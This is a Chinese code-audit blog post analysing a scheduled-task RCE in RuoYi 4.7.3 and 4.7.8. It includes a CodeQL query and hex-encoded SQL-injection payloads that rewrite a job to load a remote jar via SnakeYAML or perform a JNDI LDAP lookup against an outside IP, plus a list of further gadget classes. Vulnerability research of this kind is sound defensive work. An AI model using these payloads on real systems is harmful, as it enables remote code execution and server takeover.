【代码审计】RuoYi-4.7.3&4.7.8 定时任务RCE 漏洞分析

目录

4.7.3

4.7.8


4.7.3

关注/monitor/job/add

做了黑名单和白名单

看一下定时任务是怎么执行的

在getDeclaredMethod获取方法后,并没有执行setAccessible(true),所以只能拿public方法

再看下isValidClassName的实现

其实就是,若非全限定类名,则从spring容器中取出对象;若是全限定类名,则利用反射调用无参构造函数方法创建对象

此逻辑在白名单处也有,代码仅仅对全限定类名(class)进行了检测,但没有对spring容器中的对象进行白名单检测。

则思路为,在spring容器中找到一个不在黑名单中的Bean

或者在白名单内找一个不在黑名单且符合要求的类

交给codeql跑一下

复制代码
codeql database create ruoyi-database --language=java --command='mvn clean package -f "pom.xml"'

import java

from Method m

where
    m.getDeclaringType().getAConstructor().hasNoParameters() 
    m.isPublic()
    and m.getAParamType() instanceof TypeString
    and m.getDeclaringType().getPackage().getName().matches("com.ruoyi%")
    and not m.isAbstract()
    and not m.getDeclaringType().getPackage().getName().matches("com.ruoyi.common.utils.file%")
    and not m.getName().matches("get%")
    and not m.getName().matches("is%")
    and not m.getName().matches("has%")

select m.getDeclaringType().getPackage().getName(),m.getDeclaringType(),m

关注到com.ruoyi.generator.service.impl.GenTableServiceImpl#createTable

搜一下xml

可任意sql语句执行

复制代码
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a61... WHERE job_id = 1;')

这样就绕过了新建任务的Waf限制,可通过直接修改数据库来修改计划任务的内容

复制代码
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b22687474703a2f2f382e3133382e33382e38313a313333382f79616d6c2d7061796c6f61642e6a6172225d5d5d5d2729 WHERE job_id = 1;')

成功修改

弹出计算器

4.7.8

和4.7.3最大的区别在于白名单的处理逻辑

当调用Spring Bean的时候也要走一下白名单和黑名单

com.ruoyi.generator.service.impl.GenTableServiceImpl依然能过该版本的黑白名单

但在4.7.9版本被修了(

接着打就行,但换种打法

javax.naming.InitialContext#lookup

复制代码
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f382e3133382e33382e38313a313333382f237375696269616e2729 WHERE job_id = 1;')

成功修改

其他也都可以,不一一赘述了

javax.naming.InitialContext#lookup

org.yaml.snakeyaml.Yaml#load

org.springframework.jndi.JndiLocatorDelegate#lookup

org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup#getDataSource

org.apache.velocity.runtime.RuntimeInstance#init

相关推荐
wuminyu5 小时前
JVM规范学习总结:解释器与JIT编译器如何处理JVM字节码
java·linux·c语言·jvm·c++
txxzjmzlh6 小时前
SpringBoot 配置⽂件
java·spring boot·spring
Wang's Blog6 小时前
Java 项目实战: 交友项目 - 搜索附近的功能概述和分析
java·开发语言·交友
骑着蜗牛撵大象3276 小时前
大模型 Agent 的沙箱护栏:gVisor 隔离、出口白名单与审计闭环
java·开发语言·jvm·安全·agent沙箱·gvisor·microvm
独泪了无痕6 小时前
Hutool之LocalDateTimeUtil:让时间间隔操作如虎添翼
java
三无少女指南8 小时前
从这里开始:Java 后端与 AI 工程的三条阅读路线
java·学习路线·ai工程
香蕉大香蕉(06敬畏市场)8 小时前
MySQL 单点详解(07)
java·数据库·mysql·ai·博客·八股
是真的小外套8 小时前
网络安全实战第14期:Week2周末闯关
网络·安全·web安全
nice_lcj5208 小时前
深入理解 Java 反射:从 Class 对象到方法调用(含性能实测 + 迷你 IOC 实战 + 面试考点)
java·开发语言·后端·面试
骑着蜗牛撵大象3279 小时前
2026 后端 AI 工程化:Spring AI 管调用、MCP 管工具、Agent 内嵌管自治
java·人工智能·后端·spring·ai·可观测性·mcp